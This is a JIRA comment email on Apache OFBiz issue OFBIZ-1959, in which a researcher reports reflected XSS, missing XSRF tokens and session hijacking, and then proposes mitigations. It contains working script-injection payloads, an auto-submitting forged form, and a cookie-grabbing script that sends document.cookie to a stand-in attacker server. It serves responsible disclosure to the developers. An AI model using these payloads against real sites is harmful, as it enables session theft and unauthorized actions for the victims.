[ 
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12674572#action_12674572
 ] 

Michele Orru commented on OFBIZ-1959:
-------------------------------------

Hi David, Hi Jaques.

I'm analyzing your patches and how you've integrated esapi and antisamy in 
Ofbiz.

I really like the way you implemented it: clear, concise and sussefull...except 
for an XSS issue that I can still find.
Ecommerce seemd "virtually invuylnerable" to XSS now.

The problem I mentioned is relative to partymgr.

If I log in to the party application, the I search a party, the flow is 
directed on viewprofile. The partyId parameter is still vulnerable to 
reflected XSS: basiacally it is escaping HTML but not in the good way.

--- REQUEST ---
GET /partymgr/control/viewprofile?partyId=admin"><script>alert(6)</script> 
HTTP/1.1

Host: localhost:8443

User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) 
Gecko/2009010711 Gentoo Firefox/3.0.5

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: https://localhost:8443/partymgr/control/findparty

Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; 
deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; 
OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; 
warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; 
ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin



--- RESPONSE --- (truncated where unnecessary to explanation)
the injected JS is popping-up so much because the parameter partyId value is 
used to create links ton other resources...thus closing the tag and then 
re-opening another one with <script>..</script> causes this, as you can see 
from the following excerpt.

[...]
<!-- Begin Menu Widget 
component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->

<div class="button-bar tab-bar no-clear">

<ul>

<li>

 <ul>

  <li class="selected "><a 
href="/partymgr/control/viewprofile?partyId=admin"><SCRipt>alert(6)</scripT>">Profile</a></li>

  <li><a 
href="/partymgr/control/Preferences?partyId=admin"><SCRipt>alert(6)</scripT>">Preferences</a></li>

  <li><a 
href="/partymgr/control/viewroles?partyId=admin"><SCRipt>alert(6)</scripT>">Role(s)</a></li>

  <li><a 
href="/partymgr/control/linkparty?partyId=admin"><SCRipt>alert(6)</scripT>">Link
 Party</a></li>

  <li><a 
href="/partymgr/control/EditPartyRelationships?partyId=admin"><SCRipt>alert(6)</scripT>">Relationships</a></li>

  <li><a 
href="/partymgr/control/viewvendor?partyId=admin"><SCRipt>alert(6)</scripT>">Vendor</a></li>

  <li><a 
href="/partymgr/control/EditPartyTaxAuthInfos?partyId=admin"><SCRipt>alert(6)</scripT>">Tax
 Infos</a></li>

  <li><a 
href="/partymgr/control/EditPartyRates?partyId=admin"><SCRipt>alert(6)</scripT>">Rates</a></li>

  <li><a 
href="/partymgr/control/editShoppingList?partyId=admin"><SCRipt>alert(6)</scripT>">Shopping
 Lists</a></li>

  <li><a 
href="/partymgr/control/ViewSegmentRoles?partyId=admin"><SCRipt>alert(6)</scripT>">Segments</a></li>

  <li><a 
href="/partymgr/control/EditPartyClassifications?partyId=admin"><SCRipt>alert(6)</scripT>">Classifications</a></li>

  <li><a 
href="/partymgr/control/ListPartyContactLists?partyId=admin"><SCRipt>alert(6)</scripT>">Contact
 Lists</a></li>

  <li><a 
href="/partymgr/control/EditPartyContents?partyId=admin"><SCRipt>alert(6)</scripT>">Party
 Content</a></li>

  <li><a 
href="/partymgr/control/EditPartySkills?partyId=admin"><SCRipt>alert(6)</scripT>">Party
 Skills</a></li>

  <li><a 
href="/partymgr/control/EditPersonTrainings?partyId=admin"><SCRipt>alert(6)</scripT>">Trainings</a></li>

  <li><a 
href="/partymgr/control/EditPartyResumes?partyId=admin"><SCRipt>alert(6)</scripT>">Resumes</a></li>

  <li><a 
href="/partymgr/control/EditEmploymentApps?partyId=admin"><SCRipt>alert(6)</scripT>&&referredByPartyId=admin"><SCRipt>alert(6)</scripT>">Employment
 Applications</a></li>

  <li><a 
href="/partymgr/control/PartyFinancialHistory?partyId=admin"><SCRipt>alert(6)</scripT>">Fin.
 History</a></li>

  <li><a 
href="/partymgr/control/PartyGeoLocation?partyId=admin"><SCRipt>alert(6)</scripT>">Geolocation</a></li>

 </ul>

 <br class="clear"/>

</li>

</ul>

</div>

<!-- End Menu Widget 
component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->
[...]

I'm gonna debug a little bit to understand why...
(anyway Idea 8.1 with remote debuggin on tomcat is too slow :( )

Have a good developing time guys

P.S.: clearly, XSRF has not been fixed, and is possible even without XSS of 
course. 
just try to swend the following request, after authentication, changing the 
UserAgent (so your browser):

try cganing with this Opera/9.63 (X11; Linux x86_64; U; en) Presto/2.1.1

POST /partymgr/control/createPerson HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) 
Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://localhost:8443/partymgr/control/editperson?create_new=Y
Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; 
deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; 
OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; 
warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; 
ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 509

salutation=&firstName=Michele&middleName=&lastName=Orru&personalTitle=&suffix=&nickname=&firstNameLocal=&middleNameLocal=&lastNameLocal=&otherLocal=&memberId=&gender=&birthDate=&height=&weight=&mothersMaidenName=&maritalStatus=&socialSecurityNumber=&passportNumber=&passportExpireDate=&totalYearsWorkExperience=&comments=&employmentStatusEnumId=&residenceStatusEnumId=&occupation=&yearsWithEmployer=&monthsWithEmployer=&existingCustomer=&preferredCurrencyUomId=&description=&externalId=&statusId=PARTY_ENABLED


It will work because there aren't any random token appended to the POST request.
But you already know that I think, as Session Management protections.

Michele OrrĂ¹


> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and 
> mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security 
> issues|||+++++++++++++++++++++++++
>       
>       1.: Cross Site Request Forgery (XSRF) on almost every front/back-end 
> requests
>       2.: reflected/stored XSS in search, ProductId/Product Internal name and 
> so on
>       3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST 
> request
> parameters are never "fortified" to prevent XSRF: no random token protection 
> can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the 
> attacker, force you (the victim)
> to executes. 
>  - In GET requests it will be a link like 
> http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one. 
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest 
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose 
> description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the 
> middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following 
> innocuous one:
>       
>       <form method="POST" id="xsrf" name="xsrf" 
>                  
> action="https://127.0.0.1:8443/catalog/control/createProduct";> 
>               <input type=hidden name="isCreate" value="true"> 
>               <input type=hidden name="productId" value="hack02">
>               <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>               <input type=hidden name="internalName" value="hack02">
>        </form>  
>       <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, 
> content and ProductName), 
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of 
> the same browser - not Chrome ahah), 
> his content will be automatically executed and the POST request will be sent 
> to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in 
> the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the 
> browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some 
> stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a 
> needed
> parameter is quite un-useful and so prone to store our malicious code) with 
> something 
> like:
>       
>               <input type=hidden name="internalName"
>                                       
> value="<script>alert(document.cookie)</script>">
>                                       
> The malicious code will display every cookie information in a pop-up, that 
> only the victim 
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET 
> request from 
> our victims, extract the useful parameters and store them in a file or DB, in 
> a way
> that wen can hijack the session of the admin/manager.
>       
> The internalName value is prone to store our malicious code also because his 
> maxlength 
> is 255 characters: this gives us a great advantage when creating a complex 
> injection code, 
> if we don't want to inject a link to the malicious script like 
> <img src="http://x.x.x.x/malicious.js";>
>       
> The malicious code will look as the following one:
>       
> <script> 
> var 
> str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
>  
>       if(document.cookie.indexOf("done")<0)\{ 
>              document.cookie="done=true";
>              document.location.replace(str); 
>       }
> </script> 
>       
> Of course the code can be a lot shorter, and the "already-exploited-check" 
> can be removed.
>       
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL 
> (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid 
> credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new 
> cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value 
> with the grabbed 
> one, and we make the previous request another time (just refresh on the login 
> page), then
> we are riding the same victim session. If we are lucky and it's an admin, we 
> can do 
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be 
> deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will 
> mitigate XSS and Session Hijacking.
>  - Application: 
> XSS--> input validation on form parameters and GET/POST request values must 
> be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI 
> project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add 
> to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the 
> algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

-- 
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

Reply via email to